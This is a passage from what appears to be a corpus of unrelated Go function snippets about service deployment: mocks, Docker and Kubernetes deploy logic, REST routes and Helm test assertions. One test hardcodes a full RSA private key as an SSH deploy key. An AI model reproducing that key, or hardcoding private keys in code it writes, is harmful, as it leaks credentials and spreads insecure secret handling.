fn)\n\t\t}\n\t\treturn httpClient.Up(dockerHTTP.UpOptions{\n\t\t\tBody: []byte(fn.Source),\n\t\t\tLang: fn.Language,\n\t\t\tName: name,\n\t\t\tPort: int(ports[0].ServiceBindingPort),\n\t\t\tHealtCheck: false,\n\t\t\tProject: project,\n\t\t})\n\t}\n\n\tworkdir := fmt.Sprintf(\"/tmp/fx-%d\", time.Now().Unix())\n\tdefer os.RemoveAll(workdir)\n\n\tif err := packer.PackIntoDir(fn, workdir); err != nil {\n\t\tlog.Fatalf(\"could not pack function %v: %v\", fn, err)\n\t\treturn err\n\t}\n\tif err := d.localClient.BuildImage(ctx, workdir, name); err != nil {\n\t\tlog.Fatalf(\"could not build image: %v\", err)\n\t\treturn err\n\t}\n\n\tnameWithTag := name + \":latest\"\n\tif err := d.localClient.ImageTag(ctx, name, nameWithTag); err != nil {\n\t\tlog.Fatalf(\"could not tag image: %v\", err)\n\t\treturn err\n\t}\n\n\t// when deploy a function on a bare Docker running without Kubernetes,\n\t// image would be built on-demand on host locally, so there is no need to\n\t// pull image from remote.\n\t// But it takes some times waiting image ready after image built, we retry to make sure it ready here\n\tvar imgInfo dockerTypes.ImageInspect\n\tif err := utils.RunWithRetry(func() error {\n\t\treturn d.localClient.InspectImage(ctx, name, &imgInfo)\n\t}, time.Second*1, 5); err != nil {\n\t\treturn err\n\t}\n\n\treturn d.localClient.StartContainer(ctx, name, name, ports)\n}", "func (c *Context) CreateDeploy(job *work.Job) error {\n // Extract args from job.\n deployUid := job.ArgString(\"deployUid\")\n deployName := job.ArgString(\"name\")\n apiClusterID := uint(job.ArgInt64(\"apiClusterID\"))\n modelVersionID := uint(job.ArgInt64(\"modelVersionID\"))\n sha := job.ArgString(\"sha\")\n envs := job.ArgString(\"envs\")\n logKey := job.ArgString(\"logKey\")\n\n if err := job.ArgError(); err != nil {\n if logKey != \"\" {\n return logBuildableErr(err, logKey, \"Arg error occurred inside create deploy job.\")\n }\n\n app.Log.Errorln(err.Error())\n return err\n }\n\n // Find ApiCluster by ID.\n apiCluster, err := apiclustersvc.FromID(apiClusterID)\n if err != nil {\n return logBuildableErr(err, logKey, \"API cluster not found.\")\n }\n\n // Find ModelVersion by ID.\n modelVersion, err := modelversionsvc.FromID(modelVersionID)\n if err != nil {\n return logBuildableErr(err, logKey, \"Model version not found.\")\n }\n\n // Store ref to project.\n project := &modelVersion.Model.Project\n\n // If sha provided, find Commit by that value. Otherwise, fetch latest commit from repo.\n commit, err := commitsvc.FromShaOrLatest(sha, project)\n if err != nil {\n return logBuildableErr(err, logKey, \"Error finding commit sha to deploy.\")\n }\n\n // Upsert Deploy.\n deploy, isNew, err := deploysvc.Upsert(\n commit.ID,\n modelVersion.ID,\n apiCluster.ID,\n deployUid,\n deployName,\n )\n\n if err != nil {\n return logBuildableErr(err, logKey, \"Failed to upsert deploy.\")\n }\n\n // If Deploy already exists, return an \"Everything up-to-date.\" message.\n if !isNew {\n // TODO: stream back a success message with \"Everything up-to-date.\"\n return nil\n }\n\n // Convert stringified envs into map[string]string representation.\n envsMap, err := envvarsvc.MapFromBytes([]byte(envs))\n if err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to parse deploy environment variables.\")\n }\n\n // Create EnvVars for this Deploy.\n if err := envvarsvc.CreateFromMap(deploy.ID, envsMap); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to create deploy environment variables.\")\n }\n\n // Define args for the BuildDeploy job.\n jobArgs := work.Q{\n \"resourceID\": deploy.ID,\n \"buildTargetSha\": commit.Sha,\n \"projectID\": project.ID,\n \"targetCluster\": cluster.Api,\n \"logKey\": logKey,\n \"followOnJob\": Names.ApiDeploy,\n \"followOnArgs\": enc.JSON{\n \"deployID\": deploy.ID,\n \"logKey\": logKey,\n },\n }\n\n // Enqueue new job to build this Project for the ApiCluster.\n if _, err := app.JobQueue.Enqueue(Names.BuildDeploy, jobArgs); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to schedule build deploy job.\")\n }\n\n // Update deploy stage to BuildScheduled.\n if err := deploysvc.UpdateStage(deploy, model.BuildStages.BuildScheduled); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to update stage of deploy.\")\n }\n\n return nil\n}", "func (p *PodmanTestIntegration) StartRemoteService() {\n}", "func (s *TaffyDeploySuite) TestPrivateDeploys(t *c.C) {\n\tassertMeta := func(m map[string]string, k string, checker c.Checker, args ...interface{}) {\n\t\tv, ok := m[k]\n\t\tt.Assert(ok, c.Equals, true)\n\t\tt.Assert(v, checker, args...)\n\t}\n\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user\": \"flynn-examples\",\n\t\t\"repo\": \"nodejs-flynn-example\",\n\t\t\"branch\": \"master\",\n\t\t\"rev\": \"5e177fec38fbde7d0a03e9e8dccf8757c68caa11\",\n\t\t\"clone_url\": \"[email protected]:/flynn-examples/nodejs-flynn-example.git\",\n\t}\n\n\tapp := &ct.App{}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\tsshKey := `MIIEpAIBAAKCAQEA2UnQ/17TfzQRt4HInuP1SYz/tSNaCGO3NDIPLydVu8mmxuKT\nzlJtH3pz3uWpMEKdZtSjV+QngJL8OFzanQVZtRBJjF2m+cywHJoZA5KsplMon+R+\nQmVqu92WlcRdkcft1F1CLoTXTmHHfvuhOkG6GgJONNLP9Z14EsQ7MbBh5guafWOX\nkdGFajyd+T2aj27yIkK44WjWqiLjxRIAtgOJrmd/3H0w3E+O1cgNrA2gkFEUhvR1\nOHz8SmugYva0VZWKvxZ6muZvn26L1tajYsCntCRR3/a74cAnVFAXjqSatL6YTbSH\nsdtE91kEC73/U4SL3OFdDiCrAvXpJ480C2/GQQIDAQABAoIBAHNQNVYRIPS00WIt\nwiZwm8/4wAuFQ1aIdMWCe4Ruv5T1I0kRHZe1Lqwx9CQqhWtTLu1Pk5AlSMF3P9s5\ni9sg58arahzP5rlS43OKZBP9Vxq9ryWLwWXDJK2mny/EElQ3YgP9qg29+fVi9thw\n+dNM5lK/PnnSFwMmGn77HN712D6Yl3CCJJjsAunTfPzR9hyEqX5YvUB5eq/TNhXe\nsqrKcGORIoNfv7WohlFSkTAXIvoMxmFWXg8piZ9/b1W4NwvO4wup3ZSErIk0AQ97\nHtyXJIXgtj6pLkPqvPXPGvS3quYAddNxvGIdvge7w5LHnrxOzdqbeDAVmJLVwVlv\noo+7aQECgYEA8ZliUuA8q86SWE0N+JZUqbTvE6VzyWG0/u0BJYDkH7yHkbpFOIEy\nKTw048WOZLQ6/wPwL8Hb090Cas/6pmRFMgCedarzXc9fvGEwW95em7jA4AyOVBMC\nKIAmaYkm6LcUFeyR6ektZeCkT0MNoi4irjBC3/hMRyZu+6RL4jXxHLkCgYEA5j13\n2nkbV99GtRRjyGB7uMkrhMere2MekANXEm4dW+LZFZUda4YCqdzfjDfBTxsuyGqi\nDnvI7bZFzIQPiiEzvL2Mpiy7JqxmPLGmwzxDp3z75T5vOrGs4g9IQ7yDjp5WPzjz\nKCJJHn8Qt9tNZb5h0hBM+NWLT0c1XxtTIVFfgckCgYAfNpTYZjYQcFDB7bqXWjy3\n7DNTE3YhF2l94fra8IsIep/9ONaGlVJ4t1mR780Uv6A7oDOgx+fxuET+rb4RTzUN\nX70ZMKvee9M/kELiK5mHftgUWirtO8N0nhHYYqrPOA/1QSoc0U5XMi2oO96ADHvY\ni02oh/i63IFMK47OO+/ZqQKBgQCY8bY/Y/nc+o4O1hee0TD+xGvrTXRFh8eSpRVf\nQdSw6FWKt76OYbw9OGMr0xHPyd/e9K7obiRAfLeLLyLfgETNGSFodghwnU9g/CYq\nRUsv5J+0XjAnTkXo+Xvouz6tK9NhNiSYwYXPA1uItt6IOtriXz+ygLCFHml+3zju\nxg5quQKBgQCEL95Di6WD+155gEG2NtqeAOWhgxqAbGjFjfpV+pVBksBCrWOHcBJp\nQAvAdwDIZpqRWWMcLS7zSDrzn3ZscuHCMxSOe40HbrVdDUee24/I4YQ+R8EcuzcA\n3IV9ai+Bxs6PvklhXmarYxJl62LzPLyv0XFscGRes/2yIIxNfNzFug==`\n\n\tenv := map[string]string{\n\t\t\"SOMEVAR\": \"SOMEVAL\",\n\t\t\"SSH_CLIENT_HOSTS\": \"github.com,192.30.252.131 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\",\n\t\t\"SSH_CLIENT_KEY\": fmt.Sprintf(\"-----BEGIN RSA PRIVATE KEY-----\\n%s\\n-----END RSA PRIVATE KEY-----\\n\", sshKey),\n\t}\n\n\tmeta := map[string]string{\n\t\t\"github\": \"true\",\n\t\t\"github_user\": github[\"user\"],\n\t\t\"github_repo\": github[\"repo\"],\n\t}\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(release, c.NotNil)\n\tt.Assert(release.Meta, c.NotNil)\n\tassertMeta(release.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(release.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(release.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(release.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(release.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(release.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n\tt.Assert(release.Env, c.NotNil)\n\tassertMeta(release.Env, \"SOMEVAR\", c.Equals, \"SOMEVAL\")\n}", "func (c *addDutRun) triggerDeploy(ctx context.Context, ic fleet.InventoryClient, specs []*inventory.DeviceUnderTest) (string, error) {\n\tserialized, err := serializeMany(specs)\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"trigger deploy\").Err()\n\t}\n\n\tresp, err := ic.DeployDut(ctx, &fleet.DeployDutRequest{\n\t\tNewSpecs: serialized,\n\t\tActions: &fleet.DutDeploymentActions{\n\t\t\tStageImageToUsb: c.stageImageToUsb(),\n\t\t\tInstallFirmware: !c.skipInstallFirmware,\n\t\t\tInstallTestImage: !c.skipInstallOS,\n\t\t},\n\t\tOptions: &fleet.DutDeploymentOptions{\n\t\t\tAssignServoPortIfMissing: true,\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"trigger deploy\").Err()\n\t}\n\treturn resp.GetDeploymentId(), nil\n}", "func (m *MockecsClient) Service(app, env, svc string) (*ecs.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\", app, env, svc)\n\tret0, _ := ret[0].(*ecs.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func registerDeployAPIs(ws *restful.WebService) {\n\tws.Route(ws.POST(\"/{user_id}/deploys\").\n\t\tTo(createDeploy).\n\t\tDoc(\"create a deploy for given user of a specific service\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tReads(api.Deploy{}).\n\t\tWrites(api.DeployCreationResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.GET(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(getDeploy).\n\t\tDoc(\"find a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeployGetResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.GET(\"/{user_id}/deploys\").\n\t\tTo(listDeploy).\n\t\tDoc(\"find deploys by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tWrites(api.DeployListResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.PUT(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(setDeploy).\n\t\tDoc(\"set a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeploySetResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.DELETE(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(delDeploy).\n\t\tDoc(\"delete a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeployDelResponse{}))\n}", "func (m *MockDeployedEnvServicesLister) ListDeployedServices(appName, envName string) ([]string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ListDeployedServices\", appName, envName)\n\tret0, _ := ret[0].([]string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (_m *MockDispatchServer) Deployments(_a0 *GetDeploymentOpts, _a1 Dispatch_DeploymentsServer) error {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(*GetDeploymentOpts, Dispatch_DeploymentsServer) error); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockVersionInfoDao) GetVersionByDeployVersion(version, serviceID string) (*model.VersionInfo, error) {\n\tret := m.ctrl.Call(m, \"GetVersionByDeployVersion\", version, serviceID)\n\tret0, _ := ret[0].(*model.VersionInfo)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func CreateOrUpdateBaseDeployment() (bool, error) {\n\tcs, err := iothub.ReadConnectionStringFromEnv()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t// Get all deployments fron backend service\n\tdeployments, err := ListDeployments(cs)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t// First check if the current deployment is already present in backend service\n\tcurrentDeployment := fmt.Sprintf(\"%s_%s\", baseDeploymentName, version.Version)\n\tlog.Printf(\"Current base deployment: %s\\n\", currentDeployment)\n\tcurrentDeploymentFound := false\n\tfor _, d := range deployments {\n\t\tif d == currentDeployment {\n\t\t\tcurrentDeploymentFound = true\n\t\t}\n\t}\n\t// Create new and delete old base deployments\n\tif !currentDeploymentFound {\n\t\t// Get old base deployments\n\t\tbaseDeploymentsToBeDeleted := getBaseDeployments(deployments)\n\t\t// The new deployment needs to be created first to start the update process\n\t\tlog.Printf(\"Create new base deployment: %s\\n\", currentDeployment)\n\t\t_, err = createBaseDeployment(baseDeploymentManifest)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\t// Delete old base deployments to finish the update process\n\t\tfor _, deleteName := range baseDeploymentsToBeDeleted {\n\t\t\tlog.Printf(\"Deleting old base deployment: %s\\n\", deleteName)\n\t\t\t// create new dummy deployment with specific name to be deleted\n\t\t\tdeleteDeployment, err := NewDeployment(\"{}\", deleteName, \"\", false, \"0\", 0)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\t_, err = deleteDeployment.DeleteDeployment()\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t}\n\t\tlog.Printf(\"Successfully updated base deployment to version: %s.\\n\", currentDeployment)\n\t\t// Return (true, nil) only if a new deployment has been written\n\t\treturn true, nil\n\t}\n\t// Return (false, nil) only if the current base deployment is already in backend service\n\tlog.Printf(\"Current base deployment already present. Nothing to update.\\n\")\n\treturn false, nil\n}", "func shouldDeploy(currentEnvironment, newEnvironment *bitesize.Environment, serviceName string) bool {\n\tcurrentService := currentEnvironment.Services.FindByName(serviceName)\n\tupdatedService := newEnvironment.Services.FindByName(serviceName)\n\n\tif (currentService != nil && currentService.Status.DeployedAt != \"\") || (updatedService != nil && updatedService.Version != \"\") {\n\t\tif diff.ServiceChanged(serviceName) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (m *MockProc) OnSvcAllHostReplace(arg0 []*host.Host) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnSvcAllHostReplace\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (mgr *manager) DeploySvc(svcCfg anysched.SvcCfg) (anysched.Operation, error) {\n\tcount := uint64(svcCfg.Count)\n\tservice := swarm.ServiceSpec{\n\t\tAnnotations: swarm.Annotations{\n\t\t\tName: svcCfg.ID,\n\t\t},\n\t\tMode: swarm.ServiceMode{\n\t\t\tReplicated: &swarm.ReplicatedService{\n\t\t\t\tReplicas: &count,\n\t\t\t},\n\t\t},\n\t\tTaskTemplate: swarm.TaskSpec{\n\t\t\tContainerSpec: swarm.ContainerSpec{\n\t\t\t\tImage: svcCfg.Image,\n\t\t\t},\n\t\t},\n\t}\n\toptions := types.ServiceCreateOptions{}\n\tserviceCreateResponse, err := mgr.client.ServiceCreate(ctx, service, options)\n\tfmt.Printf(\"*** serviceCreateResponse = %+v; err = %+v\\n\", serviceCreateResponse, err)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"dockerswarm.manager.DeploySvc: mgr.client.ServiceCreate failed\")\n\t}\n\treturn nil, nil\n}", "func (m *MockService) Execute(arg0 interface{}, arg1 string, arg2 ...interface{}) error {\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Execute\", varargs...)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (jj *Juju) Deploy(user, service string) (*simplejson.Json, error) {\n args := []string{\"deploy\", \"--show-log\"}\n id := jj.id(user, service)\n report := JSON(fmt.Sprintf(`{\"time\": \"%s\"}`, time.Now()))\n log.Infof(\"deploy juju service: %s\\n\", id)\n\n // Get charms location\n storePath, storePrefix, err := jj.Charmstore(service)\n if err != nil { return EmptyJSON(), err }\n if storePrefix == \"local\" {\n args = append(args, \"--repository\")\n args = append(args, storePath)\n }\n\n // Add final service syntax to deploy\n args = append(args, fmt.Sprintf(\"%s:%s/%s\", storePrefix, defaultSeries, service))\n args = append(args, id)\n\n // Read and dump user configuration\n confPath, err := jj.fetchConfig(user, service)\n if err != nil { return EmptyJSON(), err }\n if confPath != \"\" {\n args = append(args, \"--config\") \n args = append(args, confPath) \n }\n\n // Charm deployment\n log.Infof(\"enqueue process\")\n client, err := goresque.Dial(redisURL)\n if err != nil { return EmptyJSON(), err }\n client.Enqueue(workerClass, \"fork\", jj.Path, args)\n\n report.Set(\"deployed\", id)\n report.Set(\"provider\", \"juju\")\n report.Set(\"arguments\", args)\n report.Set(\"series\", defaultSeries)\n return report, nil\n}", "func (m *MockProviderKubectlClient) GetMachineDeployment(arg0 context.Context, arg1 *types.Cluster, arg2 ...executables.KubectlOpt) (*v1alpha3.MachineDeployment, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetMachineDeployment\", varargs...)\n\tret0, _ := ret[0].(*v1alpha3.MachineDeployment)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func Deploy(s *model.Service, e *model.Environment, log *logger.Logger) error {\n\tlog.Printf(\"Deploying the service '%s'...\", s.Name)\n\n\tif len(s.GetIngressRules(false)) > 0 && !e.Provider.IsIngress() {\n\t\treturn fmt.Errorf(\"Support for ingress ports requires ingress configuration in your project\")\n\t}\n\tif err := deploy(s, e, log); err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Service '%s' successfully deployed.\", s.Name)\n\treturn nil\n}", "func VerifyDeployment(t *testing.T, pod *k8score.PodSpec, expectedSpec pegaDeployment, options *helm.Options) {\n\trequire.Equal(t, \"pega-volume-config\", pod.Volumes[0].Name)\n\trequire.Equal(t, expectedSpec.name, pod.Volumes[0].VolumeSource.ConfigMap.LocalObjectReference.Name)\n\trequire.Equal(t, volumeDefaultModePtr, pod.Volumes[0].VolumeSource.ConfigMap.DefaultMode)\n\trequire.Equal(t, \"pega-volume-credentials\", pod.Volumes[1].Name)\n\trequire.Equal(t, getObjName(options, \"-credentials-secret\"), pod.Volumes[1].VolumeSource.Projected.Sources[0].Secret.Name)\n\trequire.Equal(t, volumeDefaultModePtr, pod.Volumes[1].VolumeSource.Projected.DefaultMode)\n\n\tactualInitContainers := pod.InitContainers\n\tcount := len(actualInitContainers)\n\tactualInitContainerNames := make([]string, count)\n\tfor i := 0; i < count; i++ {\n\t\tactualInitContainerNames[i] = actualInitContainers[i].Name\n\t}\n\n\t//require.Equal(t, expectedSpec.initContainers, actualInitContainerNames) NEED TO CHANGE FOR \"install-deploy\"\n\tVerifyInitContainerData(t, actualInitContainers, options)\n\trequire.Equal(t, \"pega-web-tomcat\", pod.Containers[0].Name)\n\trequire.Equal(t, \"pegasystems/pega\", pod.Containers[0].Image)\n\trequire.Equal(t, \"pega-web-port\", pod.Containers[0].Ports[0].Name)\n\trequire.Equal(t, int32(8080), pod.Containers[0].Ports[0].ContainerPort)\n\trequire.Equal(t, \"pega-tls-port\", pod.Containers[0].Ports[1].Name)\n\trequire.Equal(t, int32(8443), pod.Containers[0].Ports[1].ContainerPort)\n\tvar envIndex int32 = 0\n\trequire.Equal(t, \"NODE_TYPE\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, expectedSpec.nodeType, pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"PEGA_APP_CONTEXT_PATH\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"prweb\", pod.Containers[0].Env[envIndex].Value)\n\tif expectedSpec.name == getObjName(options, \"-web\") || expectedSpec.name == getObjName(options, \"-stream\") {\n\t\tenvIndex++\n\t\trequire.Equal(t, \"REQUESTOR_PASSIVATION_TIMEOUT\", pod.Containers[0].Env[envIndex].Name)\n\t\trequire.Equal(t, expectedSpec.passivationTimeout, pod.Containers[0].Env[envIndex].Value)\n\t}\n\tif options.SetValues[\"constellation.enabled\"] == \"true\" {\n\t\tenvIndex++\n\t\trequire.Equal(t, \"COSMOS_SETTINGS\", pod.Containers[0].Env[envIndex].Name)\n\t\trequire.Equal(t, \"Pega-UIEngine/cosmosservicesURI=/c11n\", pod.Containers[0].Env[envIndex].Value)\n\t}\n\tenvIndex++\n\trequire.Equal(t, \"JAVA_OPTS\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"CATALINA_OPTS\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"INITIAL_HEAP\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"4096m\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"MAX_HEAP\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"8192m\", pod.Containers[0].Env[envIndex].Value)\n\trequire.Equal(t, getObjName(options, \"-environment-config\"), pod.Containers[0].EnvFrom[0].ConfigMapRef.LocalObjectReference.Name)\n\trequire.Equal(t, \"4\", pod.Containers[0].Resources.Limits.Cpu().String())\n\trequire.Equal(t, \"12Gi\", pod.Containers[0].Resources.Limits.Memory().String())\n\trequire.Equal(t, \"3\", pod.Containers[0].Resources.Requests.Cpu().String())\n\trequire.Equal(t, \"12Gi\", pod.Containers[0].Resources.Requests.Memory().String())\n\n\trequire.Equal(t, \"pega-volume-config\", pod.Containers[0].VolumeMounts[0].Name)\n\trequire.Equal(t, \"/opt/pega/config\", pod.Containers[0].VolumeMounts[0].MountPath)\n\n\t//If these tests start failing, helm version in use is compiled against K8s version < 1.18\n\t//https://helm.sh/docs/topics/version_skew/#supported-version-skew\n\trequire.Equal(t, int32(0), pod.Containers[0].LivenessProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(20), pod.Containers[0].LivenessProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(30), pod.Containers[0].LivenessProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].LivenessProbe.SuccessThreshold)\n\trequire.Equal(t, int32(3), pod.Containers[0].LivenessProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].LivenessProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8081), pod.Containers[0].LivenessProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].LivenessProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, int32(0), pod.Containers[0].ReadinessProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].ReadinessProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].ReadinessProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].ReadinessProbe.SuccessThreshold)\n\trequire.Equal(t, int32(3), pod.Containers[0].ReadinessProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].ReadinessProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8080), pod.Containers[0].ReadinessProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].ReadinessProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].StartupProbe.SuccessThreshold)\n\trequire.Equal(t, int32(30), pod.Containers[0].StartupProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].StartupProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8080), pod.Containers[0].StartupProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].StartupProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, getObjName(options, \"-registry-secret\"), pod.ImagePullSecrets[0].Name)\n\trequire.Equal(t, k8score.RestartPolicy(\"Always\"), pod.RestartPolicy)\n\trequire.Equal(t, int64(300), *pod.TerminationGracePeriodSeconds)\n\trequire.Equal(t, \"pega-volume-config\", pod.Containers[0].VolumeMounts[0].Name)\n\trequire.Equal(t, \"/opt/pega/config\", pod.Containers[0].VolumeMounts[0].MountPath)\n\trequire.Equal(t, \"pega-volume-config\", pod.Volumes[0].Name)\n\trequire.Equal(t, \"pega-volume-credentials\", pod.Volumes[1].Name)\n\trequire.Equal(t, getObjName(options, \"-credentials-secret\"), pod.Volumes[1].Projected.Sources[0].Secret.Name)\n\n}", "func (m *MockRPCServer) registerServices() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"registerServices\")\n}", "func (m *DeploymentsClientMock) CreateOrUpdate(ctx context.Context, resourceGroupName string, deploymentName string, parameters resources.Deployment) (resp *http.Response, err error) {\n\tm.mutex.Lock()\n\tdefer m.mutex.Unlock()\n\n\tdeploy, ok := m.FakeStore[deploymentName]\n\tif !ok {\n\t\tdeploy = resources.DeploymentExtended{\n\t\t\tProperties: &resources.DeploymentPropertiesExtended{},\n\t\t}\n\t\tm.FakeStore[deploymentName] = deploy\n\t}\n\n\tdeploy.Properties.Parameters = parameters.Properties.Parameters\n\tdeploy.Properties.Template = parameters.Properties.Template\n\treturn nil, nil\n}", "func (m *MockProc) OnSvcHostAdd(arg0 []*host.Host) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnSvcHostAdd\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func Deploy(w http.ResponseWriter, r *http.Request) {\n\t// this will hold our decoded request json\n var requestParams deployStruct\n\t// let's decode request body\n decoder := json.NewDecoder(r.Body)\n err := decoder.Decode(&requestParams)\n\t// is it a bad request?\n if err != nil {\n log.Print(\"ERROR: failed to decode request JSON\")\n\t\thttp.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n }\n\n\t// let's forward request to docker hosts\n\tfmt.Fprintln(w, DeployAndRunContainer(&requestParams))\n}", "func inspectDeployment(\n\tctx context.Context,\n\tt *testing.T,\n\tf *framework.Framework,\n\tnamespacedName types.NamespacedName,\n\tsbrName string,\n) {\n\terr := retry(10, 5*time.Second, func() error {\n\t\tt.Logf(\"Inspecting deployment '%s'\", namespacedName)\n\t\t_, err := assertDeploymentEnvFrom(ctx, f, namespacedName, 